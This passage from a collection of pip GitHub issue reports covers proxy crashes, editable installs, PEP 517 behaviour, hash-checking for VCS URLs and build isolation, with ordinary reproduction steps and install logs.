  File "…/Vcs/pip/src/pip/_internal/commands/install.py", line 348, in run
    resolver.resolve(requirement_set)
  File "…/Vcs/pip/src/pip/_internal/legacy_resolve.py", line 191, in resolve
    self._resolve_one(requirement_set, req)
  File "…/Vcs/pip/src/pip/_internal/legacy_resolve.py", line 354, in _resolve_one
    abstract_dist = self._get_abstract_dist_for(req_to_install)
  File "…/Vcs/pip/src/pip/_internal/legacy_resolve.py", line 302, in _get_abstract_dist_for
    self.require_hashes
  File "…/Vcs/pip/src/pip/_internal/operations/prepare.py", line 282, in prepare_linked_requirement
    req.populate_link(finder, upgrade_allowed, require_hashes)
  File "…/Vcs/pip/src/pip/_internal/req/req_install.py", line 198, in populate_link
    self.link = finder.find_requirement(self, upgrade)
  File "…/Vcs/pip/src/pip/_internal/index.py", line 978, in find_requirement
    candidates = self.find_candidates(req.name, req.specifier)
  File "…/Vcs/pip/src/pip/_internal/index.py", line 965, in find_candidates
    candidates = self.find_all_candidates(project_name)
  File "…/Vcs/pip/src/pip/_internal/index.py", line 930, in find_all_candidates
    for page in self._get_pages(url_locations, project_name):
  File "…/Vcs/pip/src/pip/_internal/index.py", line 1058, in _get_pages
    page = _get_html_page(location, session=self.session)
  File "…/Vcs/pip/src/pip/_internal/index.py", line 231, in _get_html_page
    resp = _get_html_response(url, session=session)
  File "…/Vcs/pip/src/pip/_internal/index.py", line 179, in _get_html_response
    "Cache-Control": "max-age=0",
  File "…/Vcs/pip/src/pip/_vendor/requests/sessions.py", line 546, in get
    return self.request('GET', url, **kwargs)
  File "…/Vcs/pip/src/pip/_internal/download.py", line 607, in request
    return super(PipSession, self).request(method, url, *args, **kwargs)
  File "…/Vcs/pip/src/pip/_vendor/requests/sessions.py", line 533, in request
    resp = self.send(prep, **send_kwargs)
  File "…/Vcs/pip/src/pip/_vendor/requests/sessions.py", line 646, in send
    r = adapter.send(request, **kwargs)
  File "…/Vcs/pip/src/pip/_vendor/requests/adapters.py", line 412, in send
    conn = self.get_connection(request.url, proxies)
  File "…/Vcs/pip/src/pip/_vendor/requests/adapters.py", line 309, in get_connection
    proxy_manager = self.proxy_manager_for(proxy)
  File "…/Vcs/pip/src/pip/_vendor/requests/adapters.py", line 199, in proxy_manager_for
    **proxy_kwargs)
  File "…/Vcs/pip/src/pip/_vendor/urllib3/poolmanager.py", line 450, in proxy_from_url
    return ProxyManager(proxy_url=url, **kw)
  File "…/Vcs/pip/src/pip/_vendor/urllib3/poolmanager.py", line 401, in __init__
    raise ProxySchemeUnknown(proxy.scheme)
pip._vendor.urllib3.exceptions.ProxySchemeUnknown: Not supported proxy scheme localhost
```

**Environment**

* pip version: pip 19.1.1 (master)
* Python version: 3.7
* OS: Linux

https://github.com/pypa/pip/issues/1740 has more details.

user: blueyed
labels: C: proxy: Dealing with proxies and networking
kind: crash: For situations where pip crashes
issue_6541: state: open
title: Separate pip's UI from the underlying logic
body: **What's the problem this feature will solve?**
Currently, pip directly uses logging to log the output on the command line. This means that core logic within pip contains messages that show up on the user. This has various effects, such as complication of code to create better error messages, mixing of "UI" and "business logic" etc.

**Describe the solution you'd like**
Separate the "core" and "ui" of pip, by using a few objects that act as a layer of abstraction between the two.

I wanted to make note of this idea, even though I'm not sure what this would look like yet or how complicated the implementation/transition would be.

I definitely think this has the potential to improve some bits within pip, especially since error message creation / wording can be better separated from the logic that handles things along with making it explicit at the interface of what the error messages should contain.

**Alternative Solutions**
Maintain status quo, of logging error messages directly and adding a helper function when the error-messaging logic becomes too complicated.

**Additional context**
https://www.destroyallsoftware.com/talks/boundaries is a good talk, that's sorta related but not a source/inspiration of this idea.

The closest equivalent to this that I can think of, is taking the idea of the `deprecated` helper and applying it to pip's entire logging stack.

user: pradyunsg
labels: type: refactor: Refactoring code
state: needs discussion: This needs some more discussion
issue_6521: state: open
title: When package is installed in editable mode from git, its build directory is not cleaned
body: **Environment**

* pip version: 
* Python version: 
* OS: Ubuntu 18.04

**Description**

When installing in editable mode from git, the build directory is not cleaned. This can lead to unnecessary disk consumption (in the example below, 123 MB).

**Expected behavior**

That `build` directory is removed unless `--no-clean` argument is used.

**How to Reproduce**

* `pip3 install --upgrade pip`
* `pip3 install -e git+https://github.com/autonlab/fastlvm.git@f3229d5190a6eb5f0b3d20bb3e45f20f49feea92#egg=fastlvm`
* `du -sh /src/fastlvm/build`

**Output**

```
root@696eeb452aee:/# pip3 install --upgrade pip
Collecting pip
  Downloading https://files.pythonhosted.org/packages/5c/e0/be401c003291b56efc55aeba6a80ab790d3d4cece2778288d65323009420/pip-19.1.1-py2.py3-none-any.whl (1.4MB)
    100% |████████████████████████████████| 1.4MB 18.0MB/s 
Installing collected packages: pip
  Found existing installation: pip 19.0.3
    Uninstalling pip-19.0.3:
      Successfully uninstalled pip-19.0.3
Successfully installed pip-19.1.1
root@696eeb452aee:/# pip3 install -e git+https://github.com/autonlab/fastlvm.git@f3229d5190a6eb5f0b3d20bb3e45f20f49feea92#egg=fastlvm
Obtaining fastlvm from git+https://github.com/autonlab/fastlvm.git@f3229d5190a6eb5f0b3d20bb3e45f20f49feea92#egg=fastlvm
  Cloning https://github.com/autonlab/fastlvm.git (to revision f3229d5190a6eb5f0b3d20bb3e45f20f49feea92) to /src/fastlvm
  Running command git clone -q https://github.com/autonlab/fastlvm.git /src/fastlvm
Requirement already satisfied: numpy>=1.13.1 in /usr/local/lib/python3.6/dist-packages (from fastlvm) (1.16.3)
Requirement already satisfied: scipy>=0.17 in /usr/local/lib/python3.6/dist-packages (from fastlvm) (1.2.1)
Collecting scikit-learn>=0.18.1 (from fastlvm)
  Downloading https://files.pythonhosted.org/packages/90/c7/401c231c445fb6fad135e92197da9c3e77983de169ff1887cc18af94498d/scikit_learn-0.21.1-cp36-cp36m-manylinux1_x86_64.whl (6.7MB)
     |████████████████████████████████| 6.7MB 2.6MB/s 
Collecting gensim (from fastlvm)
  Downloading https://files.pythonhosted.org/packages/d3/4b/19eecdf07d614665fa889857dc56ac965631c7bd816c3476d2f0cac6ea3b/gensim-3.7.3-cp36-cp36m-manylinux1_x86_64.whl (24.2MB)
     |████████████████████████████████| 24.2MB 9.0MB/s 
Collecting joblib>=0.11 (from scikit-learn>=0.18.1->fastlvm)
  Downloading https://files.pythonhosted.org/packages/cd/c1/50a758e8247561e58cb87305b1e90b171b8c767b15b12a1734001f41d356/joblib-0.13.2-py2.py3-none-any.whl (278kB)
     |████████████████████████████████| 286kB 18.0MB/s 
Requirement already satisfied: six>=1.5.0 in /usr/lib/python3/dist-packages (from gensim->fastlvm) (1.11.0)
Collecting smart-open>=1.7.0 (from gensim->fastlvm)
  Downloading https://files.pythonhosted.org/packages/bf/ba/7eaf3c0dbe601c43d88e449dcd7b61d385fe07c0167163f63f58ece7c1b5/smart_open-1.8.3.tar.gz (60kB)
     |████████████████████████████████| 61kB 19.1MB/s 
Collecting boto>=2.32 (from smart-open>=1.7.0->gensim->fastlvm)
  Downloading https://files.pythonhosted.org/packages/23/10/c0b78c27298029e4454a472a1919bde20cb182dab1662cec7f2ca1dcc523/boto-2.49.0-py2.py3-none-any.whl (1.4MB)
     |████████████████████████████████| 1.4MB 36.4MB/s 
Requirement already satisfied: requests in /usr/local/lib/python3.6/dist-packages (from smart-open>=1.7.0->gensim->fastlvm) (2.21.0)
Collecting boto3 (from smart-open>=1.7.0->gensim->fastlvm)
  Downloading https://files.pythonhosted.org/packages/4d/86/a94c87e948303b2c20c199ecc5d2780ada1889bb96234b1a5f4248d67e6a/boto3-1.9.153-py2.py3-none-any.whl (128kB)
     |████████████████████████████████| 133kB 32.9MB/s 
Requirement already satisfied: chardet<3.1.0,>=3.0.2 in /usr/local/lib/python3.6/dist-packages (from requests->smart-open>=1.7.0->gensim->fastlvm) (3.0.4)
Requirement already satisfied: urllib3<1.25,>=1.21.1 in /usr/local/lib/python3.6/dist-packages (from requests->smart-open>=1.7.0->gensim->fastlvm) (1.24.3)
Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.6/dist-packages (from requests->smart-open>=1.7.0->gensim->fastlvm) (2019.3.9)
Requirement already satisfied: idna<2.9,>=2.5 in /usr/lib/python3/dist-packages (from requests->smart-open>=1.7.0->gensim->fastlvm) (2.6)
Collecting s3transfer<0.3.0,>=0.2.0 (from boto3->smart-open>=1.7.0->gensim->fastlvm)
  Downloading https://files.pythonhosted.org/packages/d7/de/5737f602e22073ecbded7a0c590707085e154e32b68d86545dcc31004c02/s3transfer-0.2.0-py2.py3-none-any.whl (69kB)
     |████████████████████████████████| 71kB 28.8MB/s 
Collecting jmespath<1.0.0,>=0.7.1 (from boto3->smart-open>=1.7.0->gensim->fastlvm)
  Downloading https://files.pythonhosted.org/packages/83/94/7179c3832a6d45b266ddb2aac329e101367fbdb11f425f13771d27f225bb/jmespath-0.9.4-py2.py3-none-any.whl
Collecting botocore<1.13.0,>=1.12.153 (from boto3->smart-open>=1.7.0->gensim->fastlvm)
  Downloading https://files.pythonhosted.org/packages/ec/3b/029218966ce62ae9824a18730de862ac8fc5a0e8083d07d1379815e7cca1/botocore-1.12.153-py2.py3-none-any.whl (5.4MB)
     |████████████████████████████████| 5.4MB 30.9MB/s 
Requirement already satisfied: docutils>=0.10 in /usr/lib/python3/dist-packages (from botocore<1.13.0,>=1.12.153->boto3->smart-open>=1.7.0->gensim->fastlvm) (0.14)
Collecting python-dateutil<3.0.0,>=2.1; python_version >= "2.7" (from botocore<1.13.0,>=1.12.153->boto3->smart-open>=1.7.0->gensim->fastlvm)
  Downloading https://files.pythonhosted.org/packages/41/17/c62faccbfbd163c7f57f3844689e3a78bae1f403648a6afb1d0866d87fbb/python_dateutil-2.8.0-py2.py3-none-any.whl (226kB)
     |████████████████████████████████| 235kB 27.8MB/s 
Building wheels for collected packages: smart-open
  Building wheel for smart-open (setup.py) ... done
  Stored in directory: /root/.cache/pip/wheels/b8/cb/43/c0ba52baf2b0e371ec1d5b2d4685d6d24617b1391f3eeacda5
Successfully built smart-open
Installing collected packages: joblib, scikit-learn, boto, jmespath, python-dateutil, botocore, s3transfer, boto3, smart-open, gensim, fastlvm
  Running setup.py develop for fastlvm
Successfully installed boto-2.49.0 boto3-1.9.153 botocore-1.12.153 fastlvm gensim-3.7.3 jmespath-0.9.4 joblib-0.13.2 python-dateutil-2.8.0 s3transfer-0.2.0 scikit-learn-0.21.1 smart-open-1.8.3
root@696eeb452aee:/# du -sh /src/fastlvm/build
132M	/src/fastlvm/build
```

user: mitar
labels: type: enhancement: Improvements to functionality
C: vcs: pip's interaction with version control systems like git, svn and bzr
state: needs discussion: This needs some more discussion
C: editable: Editable installations
issue_6520: state: open
title: Weird pip behaviour when installing package in editable mode with sys.exit inside setup.py after PEP 517
body: **Environment**

* pip version: 19.0.3 (also present in 19.1.1)
* Python version: 3.7.3
* OS: ArcoLinux (Arch)

**Description**
<!-- A clear and concise description of what the bug is. -->

After adding `pyproject.toml` (even an empty one) to my project I noticed that installation of my project in editable mode with `pip` started to fail. After some investigation it turned out that having `sys.exit` inside `setup.py` causes the problem.

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->

Executing everything from reproduce steps should not raise an error or if this behavior is indeed intended, better describe the issue.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. Create new project directory
2. Create `pyproject.toml` inside the project directory with any content (even empty)
3. Create `setup.py` inside the project directory with following content:
```python
import sys

from setuptools import setup

def main():
    setup()

if __name__ == '__main__':
    sys.exit(main())
```
4. Execute `pip install -e .` inside the project directory

**Workaround**

Removing `sys.exit` from main entry point resolves the issue:

```python
from setuptools import setup

def main():
    setup()

if __name__ == '__main__':
    main()
```

**Output**

```python
Running command /home/krprzyby/PycharmProjects/pep517/venv/bin/python /home/krprzyby/PycharmProjects/pep517/venv/lib/python3.7/site-packages/pip/_vendor/pep517/_in_process.py get_requires_for_build_wheel /tmp/tmpjpen2vq1
  running egg_info
  creating UNKNOWN.egg-info
  writing UNKNOWN.egg-info/PKG-INFO
  writing dependency_links to UNKNOWN.egg-info/dependency_links.txt
  writing top-level names to UNKNOWN.egg-info/top_level.txt
  writing manifest file 'UNKNOWN.egg-info/SOURCES.txt'
  reading manifest file 'UNKNOWN.egg-info/SOURCES.txt'
  writing manifest file 'UNKNOWN.egg-info/SOURCES.txt'
  Getting requirements to build wheel ... done
ERROR: Could not install packages due to an EnvironmentError.
Traceback (most recent call last):
  File "/home/krprzyby/PycharmProjects/pep517/venv/lib/python3.7/site-packages/pip/_internal/commands/install.py", line 352, in run
    resolver.resolve(requirement_set)
  File "/home/krprzyby/PycharmProjects/pep517/venv/lib/python3.7/site-packages/pip/_internal/resolve.py", line 131, in resolve
    self._resolve_one(requirement_set, req)
  File "/home/krprzyby/PycharmProjects/pep517/venv/lib/python3.7/site-packages/pip/_internal/resolve.py", line 294, in _resolve_one
    abstract_dist = self._get_abstract_dist_for(req_to_install)
  File "/home/krprzyby/PycharmProjects/pep517/venv/lib/python3.7/site-packages/pip/_internal/resolve.py", line 226, in _get_abstract_dist_for
    req, self.require_hashes, self.use_user_site, self.finder,
  File "/home/krprzyby/PycharmProjects/pep517/venv/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 395, in prepare_editable_requirement
    abstract_dist.prep_for_dist(finder, self.build_isolation)
  File "/home/krprzyby/PycharmProjects/pep517/venv/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 169, in prep_for_dist
    self.install_backend_dependencies(finder=finder)
  File "/home/krprzyby/PycharmProjects/pep517/venv/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 123, in install_backend_dependencies
    reqs = req.pep517_backend.get_requires_for_build_wheel()
  File "/home/krprzyby/PycharmProjects/pep517/venv/lib/python3.7/site-packages/pip/_vendor/pep517/wrappers.py", line 71, in get_requires_for_build_wheel
    'config_settings': config_settings
  File "/home/krprzyby/PycharmProjects/pep517/venv/lib/python3.7/site-packages/pip/_vendor/pep517/wrappers.py", line 158, in _call_hook
    data = compat.read_json(pjoin(td, 'output.json'))
  File "/home/krprzyby/PycharmProjects/pep517/venv/lib/python3.7/site-packages/pip/_vendor/pep517/compat.py", line 12, in read_json
    with open(path, 'r', encoding='utf-8') as f:
FileNotFoundError: [Errno 2] No such file or directory: '/tmp/tmpjpen2vq1/output.json'
```

user: kprzybyla
labels: state: needs discussion: This needs some more discussion
kind: crash: For situations where pip crashes
C: PEP 517 impact: Affected by PEP 517 processing
issue_6501: state: open
title: Use declarative setup.cfg
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->
Setuptools allows for a more declarative setup.cfg instead of having lots of stuff in setup.py

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->
Move most of the stuff from setup.py to setup.cfg

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->

user: venthur
labels: type: refactor: Refactoring code
state: needs discussion: This needs some more discussion
issue_6469: state: open
title: Validate VCS urls in hash-checking mode using their commit hashes
body: **What's the problem this feature will solve?**

It is often useful to temporarily switch a requirement to a VCS URL, for example to refer to a pull request in a fork prior to release, and then switch back once the feature is released.

This practice is incompatible with --require-hashes, however. If any requirements are hashed, then the VCS URL requirement is rejected with "The editable requirement <foo> cannot be installed when requiring hashes, because there is no single file to hash" or "Can't verify hashes for these requirements because we don't have a way to hash version control repositories."

This makes it more difficult to use hashes, which ultimately discourages secure pip use.

**Describe the solution you'd like**

Many VCS URLs contain sha1 hashes in the refspec. (sha1 is not a great hash -- more discussion below.) A requirement like `git+https://github.com/requests/requests.git@e52932c427438c30c3600a690fb8093a1d643ef3#egg=requests` could be accepted with --require-hashes as long as the commit validates.

Support on the pip side would help to encourage use of hashes by pip-tools users. A user could include `git+https://github.com/requests/requests.git@master#egg` in requirements.in, and use `pip-compile --generate-hashes` to write a pinned VCS URL along with other hashed requirements to requirements.txt. Currently `pip-compile --generate-hashes` necessarily generates an uninstallable requirements.txt with VCS URLs, which discourages use of --generate-hashes.

**Alternative Solutions**

* Don't require hashes for VCS URLs, on the grounds that some hashes are better than none. (I believe this is the approach taken by pipenv, though I haven't verified.) This still checks hashes for most requirements, and the security risk of allowing some unhashed URLs is "attacker has compromised communications with a specific VCS server", which for many users would not significantly change their risk profile.

* (#4344) Same as above, but as an opt-in flag, either with a global flag or a --hash=skip flag per line.

* Keep VCS URLs in a separate requirements file, [as recommended](https://github.com/pypa/pip/issues/4995#issuecomment-360828403) on #4995. This adds complexity to the install process without any additional security over the flag option.

* Some VCS URLs can be converted to artifact URLs, like `https://github.com/requests/requests/archive/e52932c427438c30c3600a690fb8093a1d643ef3.zip#egg=requests`, which allows them to be hashed. This doesn't work for other packages, however, such as those that use `setuptools_scm` to set their version. For example, `pip install https://github.com/jazzband/pip-tools/archive/f97e62ecb0d9b70965c8eff952c001d8e2722e94.zip` will fail with "setuptools-scm was unable to detect version".

**Additional context**

This feature request was discussed [when --require-hashes was first added](https://github.com/pypa/pip/pull/3137#discussion-diff-41542281) and ultimately rejected by the author because of the insecurity of sha1:

> @jezdez on Oct 8, 2015  Contributor
> I was wondering about that, wouldn't some VCSs at least allow providing a hash for a repo? Is that out of scope and need to be added at some point? Or just a silly idea?
> 
> @erikrose on Oct 8, 2015  Author Contributor
> So yes, this is something I thought we might add in the future: pip would recognize hash-based git refspecs as okay for hash-checking mode. It would run git fsck over them to make sure the hashes really match. (git doesn't check them implicitly, at least in older versions, allowing a malicious git server to pass off whatever it wants.) My only reservation is that SHA1 isn't considered a very collision-resistant hash anymore.
> 
> @sigmavirus24 on Oct 12, 2015  Member
> git fsck is good except that sometimes genuine commits are bad. requests has a commit that was accepted through a PR and which has (much later) been determined to be invalid by git fsck. There's nothing we can do now without rewriting all of the history since that commit if we were to fix it.
> 
> @erikrose
> erikrose on Oct 12, 2015  Author Contributor
> I assume later commits fsck fine, correct? I'd be willing to accept that broken commits can't be used as hash-checked VCS checkouts by pip. But the point is moot because SHA1 will probably be cost-effectively breakable in a few years.

Since then, there's been a lot more discussion of the risks of using sha1 for refspecs following the [ShAttered attack](https://shattered.io/) (where Google paid to create a PDF hash collision, and could have done the same for a git commit). 

After that attack:

* Github [guarded against sha1 collisions](https://github.blog/2017-03-20-sha-1-collision-detection-on-github-com/)
* git [hardened its sha1 implementation](https://github.com/git/git/blob/master/Documentation/technical/hash-function-transition.txt) and is [implementing sha256](https://stackoverflow.com/a/47838703/307769)
* Mercurial added a page [discussing limitations on the attack](https://www.mercurial-scm.org/wiki/mpm/SHA1). 

In short, a sha1 collision attack requires attackers to first issue a specially-crafted, suspicious benign commit, at great expense, and then replace it with a malicious one. So a security model that is concerned with sha1 attacks assumes that an attacker has already crafted a seemingly-benign commit and had it distributed -- by which point, the Mercurial page argues, there are cheaper, easier, and more deniable ways to succeed in the attacker's aim.

That argument is certainly debatable! So I'm hoping to discuss it here: would it be worth counting sha1 refspecs as "hashed" for now, in order to encourage use of `pip install --require-hashes` and `pip-compile --generate-hashes`?
user: jcushman
labels: type: enhancement: Improvements to functionality
C: vcs: pip's interaction with version control systems like git, svn and bzr
state: needs discussion: This needs some more discussion
issue_6468: state: open
title: Support a `_platformhints` module to request info from the underlying platform
body: (Note: this proposes a new installer/platform interface, so actually pursuing it would require a PEP creating a new interface specification under https://packaging.python.org/specifications/)

**What's the problem this feature will solve?**

The advice that `pip` gives to users in error messages isn't necessarily correct, but the correct advice ends up being platform dependent.

https://github.com/pypa/pip/issues/5346 is one example where we were able to tweak `pip`'s behaviour based on metadata modified by the system, but it would be preferable if there was a way for particular Python installations to at least provide platform-specific wording for warnings and error messages (or to indicate that the warnings/errors shouldn't be emitted at all)

**Describe the solution you'd like**

The simplest solution I can see is an optional `_platformhints` module with a defined API that is blocked from upload to PyPI, but specified in a PyPA specification (similar to the `_manylinux` module in PEP 513).

**Alternative Solutions**

We could potentially try to define a flat metadata file instead, but I think we're going to want to be able to pass things like package names into this, as well as potentially passing in external dependency specifications.

**Additional context**

(@ewdurbin @dstufft Could one of you flag this name as blocked until we've resolved this design discussion?)

user: ncoghlan
labels: state: needs discussion: This needs some more discussion
issue_6459: state: open
title: Is it safe to pin setuptools/distribute/pip in requirements.txt?
body: * Pip version: `pip 19.1`
* Python version: `Python 3.5.3`
* Operating system: `macOS 10.14.4`

As documented in [this issue over at pip-tools](https://github.com/jazzband/pip-tools/issues/806), if you install packages like `pytest` or `Markdown` with `--require-hashes` you have to pin a specific version of `setuptools` as well, because it's included in their dependencies:

```
$ cat requirements.txt
#
# This file is autogenerated by pip-compile
# To update, run:
#
#    pip-compile --generate-hashes
#
markdown==3.1 \
    --hash=sha256:fc4a6f69a656b8d858d7503bda633f4dd63c2d70cf80abdc6eafa64c4ae8c250 \
    --hash=sha256:fe463ff51e679377e3624984c829022e2cfb3be5518726b06f608a07a3aad680
$ pip install -r requirements.txt
Collecting markdown==3.1 (from -r requirements.txt (line 7))
  Using cached https://files.pythonhosted.org/packages/f5/e4/d8c18f2555add57ff21bf25af36d827145896a07607486cc79a2aea641af/Markdown-3.1-py2.py3-none-any.whl
Collecting setuptools>=36 (from markdown==3.1->-r requirements.txt (line 7))
ERROR: In --require-hashes mode, all requirements must have their versions pinned with ==. These do not:
    setuptools>=36 from https://files.pythonhosted.org/packages/ec/51/f45cea425fd5cb0b0380f5b0f048ebc1da5b417e48d304838c02d6288a1e/setuptools-41.0.1-py2.py3-none-any.whl#sha256=c7769ce668c7a333d84e17fe8b524b1c45e7ee9f7908ad0a73e1eda7e6a5aebf (from markdown==3.1->-r requirements.txt (line 7))
```

The pip-tools project does not pin setuptools without the scary-sounding `--allow-unsafe` flag, because "[it may cause conflicts with pip itself](https://github.com/jazzband/pip-tools/commit/2033186065fdcaf8e39ed900cfdb2947e5e28ec4#diff-bd8c4c6a4a9f16cc09778d7f8839a90b)". But the maintainers don't [currently have a failing test case or know what the conflict would be](https://github.com/jazzband/pip-tools/issues/522#issuecomment-376228119). It also appears that [setuptools was vendored by pip at some point](https://github.com/pypa/pip/issues/1422), which might have changed the equation.

Can anyone on the pip side clarify under what circumstances it might be safe or unsafe to pin setuptools, and thus what the correct behavior would be for `pip-compile --generate-hashes` in the linked bug? To promote the use of --require-hashes, it would be great to either narrow pip-compile's definition of "unsafe", or provide clearer instructions about how to handle the unsafety when needed.

The other two packages on [pip-compile's "unsafe" list](https://github.com/jazzband/pip-tools/blob/9d0a91a382748a68f86d58a9e086b46a9b7c74f7/piptools/utils.py#L11) are `distribute` and `pip` itself, so I guess the same question applies to those as well -- are there any risks as far as `pip` is concerned to pinning them if necessary to satisfy `--require-hashes`?

Thanks!
user: jcushman
labels: project: vendored dependency: Related to a vendored dependency
state: needs discussion: This needs some more discussion
type: question: User question
issue_6444: state: open
title: pip3 upgrade should not update pip binary
body: **Environment**

* pip version: 19.1
* Python version: 2 and 3
* OS: Ubuntu

<!-- Feel free to add more information about your environment here -->

**Description**
If you install pip (i.e. sudo apt-get install python-pip) you get pip for Python 2.x.  If you install pip3 (i.e. sudo apt-get install pip) you get pip3 for Python 3.x.  If you run **sudo pip3 install pip ---update** it will update pip3, but it will also update the pip binary and now running pip to install a package will install the package for Python 3.x, not 2.x

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
I think there's a pretty long-running convention that python -> 2.x and python3 -> 3.x - for that same reason, the convention should hold with pip -> python 2.x and pip3 -> python 3.x - doing otherwise is just confusing.  I get that we're trying to get users to migrate away from python 2.x, but there are plenty of people that still (and still will) use python 2.x and have historically been using pip to install python 2.x packages.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

Running the pip3 upgrade breaks pip:
```
$ sudo python3 -m pip install pip --upgrade --force-reinstall
Installing collected packages: pip
  Found existing installation: pip 19.1
    Uninstalling pip-19.1:
      Successfully uninstalled pip-19.1
Successfully installed pip-19.1

$ pip --version
pip 19.1 from /usr/local/lib/python3.5/dist-packages/pip (python 3.5)
$ pip3 --version
pip 19.1 from /usr/local/lib/python3.5/dist-packages/pip (python 3.5)
```
Forcing the pip (pip2) upgrade re-associates pip with python 2.x:
``` 
$ sudo python -m pip install pip --upgrade --force-reinstall
Installing collected packages: pip
  Found existing installation: pip 19.1
    Uninstalling pip-19.1:
      Successfully uninstalled pip-19.1
Successfully installed pip-19.1
$ pip --version
pip 19.1 from /usr/local/lib/python2.7/dist-packages/pip (python 2.7)
$ pip3 --version
pip 19.1 from /usr/local/lib/python3.5/dist-packages/pip (python 3.5)
```

user: msoultan
labels: type: enhancement: Improvements to functionality
C: upgrade: The logic of upgrading packages
kind: backwards incompatible: Would be backward incompatible
state: needs discussion: This needs some more discussion
issue_6443: state: open
title: Modify the "you should upgrade" message to remind users to test
body: **What's the problem this feature will solve?**

Whenever pip releases a new version, we get people having issues because they pick up the new version in automated workflows, without having tested those workflows. As a result, feature changes or backward compatibility breaks have the potential to impact a *lot* of users with very little warning.

**Describe the solution you'd like**

Ideally, users would test their automated workflows before upgrading pip. It's obviously not possible to enforce this from pip (and indeed for many projects, such testing may be impractical), but it would be useful to encourage it by reminding people of the need to test before upgrading. This can be done in the "you should upgrade" message issued when pip detects that a new version is available.

Proposed addition to the message:

> You are using pip version 19.0.3, however version 19.1 is available.
> You should consider upgrading via the 'python -m pip install --upgrade pip' command.
> Note that the new version may include breaking changes and as with any upgrade, you should test it before using in a production environment.

The change would be extremely low-cost (it is simply an update to a text message) and should itself have no compatibility issues. I will create a PR if the idea meets with general approval.

**Alternative Solutions**

The following options have proved ineffective in the past:

1. General user education is difficult, as we don't really have a channel to contact all of our users. 
2. Beta releases have been tried in the past, but almost no-one was using them, and they add a non-trivial amount of overhead to the release process.
3. Deprecation warnings are sometimes possible, but not all changes are amenable to deprecation warnings (and experience has shown that often users don't take much action in advance anyway).
4. Stricter backward compatibility guarantees are difficult to handle, given the extreme lack of developer resource on pip - additional maintenance overhead is difficult to sustain. And they would also slow down progress to more modern packaging standards.
5. Making new features and changes "opt in" doesn't seem to help much - people simply don't choose to "opt in" until forced to, so this simply delays the issue.

**Additional context**

This clearly won't solve the issue directly, and the suggestion may not actually be practical for many users.  But even so, it may (over time) raise awareness of the risks, to the point where projects using pip at least have mitigation strategies in place for issues after an upgrade.

I am looking for general approval of the approach before implementing it as there is a risk that we will be seen as "lecturing" our users rather than addressing the breakage issues (even though that is emphatically *not* the intention).
user: pfmoore
labels: state: needs discussion: This needs some more discussion
type: maintenance: Related to Development and Maintenance Processes
issue_6438: state: open
title: Option --no-use-pep517 not supported in requirement files
body: **Environment**

* pip version: 19.1
* Python version: 3.6.7, 2.7.15
* OS: any

**Description**
Specifying the option `--no-use-pep517` in a requirements file results in

> ERROR: Invalid requirement: --no-use-pep517 docopt
> pip: error: no such option: --no-use-pep517

**Expected behavior**
Package is installed not using PEP 517

**How to Reproduce**
1. Have this requirements file:
```
--no-use-pep517 docopt
```
2. Run `pip install -r requirements.txt ` (removing the option form the file and passing it directly works normal)

**Output**

```
pip install -r requirements.txt 
Usage: pip [options]

ERROR: Invalid requirement: --no-use-pep517 docopt
pip: error: no such option: --no-use-pep517
```

This Issue regards specifying `--no-use-pep517` **inside** a **single** requirement file. It is related to #6433, where it fails when we have **nested** requirement files and specify the option **outside** of them, i.e. give it directly as an argument to the pip invocation. 
user: con-f-use
labels: C: requirement file: Using `requirements.txt`
C: PEP 517 impact: Affected by PEP 517 processing
issue_6411: state: open
title: Need for wheel caching: new pyproject.toml build isolation can cause excessive unnecessary compilation times with Cython & external .pxd import targets
body: *Disclaimer: I am not a super packaging expert. It's very possible I'm missing something and this is all a non-issue. If that's the case I'm sorry I wasted your time with my wall of text :grimacing: but from my limited knowledge this really seems to be a real problem*

The new pyproject.toml build isolation apparently can add many minutes unnecessary build time to Cython projects which have larger **external**/other Cython projects as dependencies from which they cimport `.pxd` files. (which means these dependencies are not only needed to launch the installed library or program, but needed during build_ext already)

The reason is that in earlier packages, AFAIK it worked like this:

1. Put your `.pxd` import target dependency into `install_requires` and `setup_requires`
2. The external `.pxd` dep in `setup_requires` will be installed as soon as your install/upgrade starts, but only if not present
3. The build_ext & everything else to do the actual build runs
4. `install_requires` is processed, but because `setup_requires` already contained our `.pxd` target it's not reinstalled

--> `.pxd` dependency is built **one or zero times** (latter on upgrades)

Now with `pyproject.toml` it appears to work like this:

1. The only option I'm aware of to specify something to be around during build is `pyproject.toml`'s `build-system.requires`
2. If you launch your install/upgrade, the external `.dep` is not around due to the new build isolation. It will be therefore fetched and fully compiled (wheel) even if already present
3. The build_ext & everything else to do the actual build runs
4. `install_requires` is processed, and since the previous wheel built was inside the build isolation it will install the dep again, and this on every single install

--> `.pxd` dependency is built **two or one time(s)** (latter on upgrades)

Please note that some Cython projects (e.g. mine) may need multiple minutes to build from scratch, so this difference can be substantial. The practical impact is especially horrible in `tox` where this time is added to each single test build run

**Expected behavior:** a `.pxd` dep will run through the `build_ext` step once or never (latter for upgrades) as before. I believe this is possible without breaking build isolation, see below

**Cause in detail (I think):**
There is no way to say "have this package around source-only" but I always need to install & compile it fully to get the `.pxd` files. (`.pxd` are like C/C++ headers, they don't need compilation, so being forced to compile/do a wheel/build_ext instead of just e.g. an sdist extract is the core issue.) With caching & no build isolation this wasn't too bad since rebuilds are avoided so much, but this is now no longer the case. So now this is suddenly a problem!

Related Cython ticket since this probably can only be improved in some sort of cooperation: https://github.com/cython/cython/issues/2924

**Solution ideas:**
The fully build isolation-preserving idea I have:

1. Add some way to specify that a build-time dep is needed as special "sdist dep" that is extracted source-only in some central pip-managed place alike to site-packages, with a similar search mechanism like imports but as callable search function which Cython could use to find files from a specific sdist source

The partially build isolation-preserving idea I have:

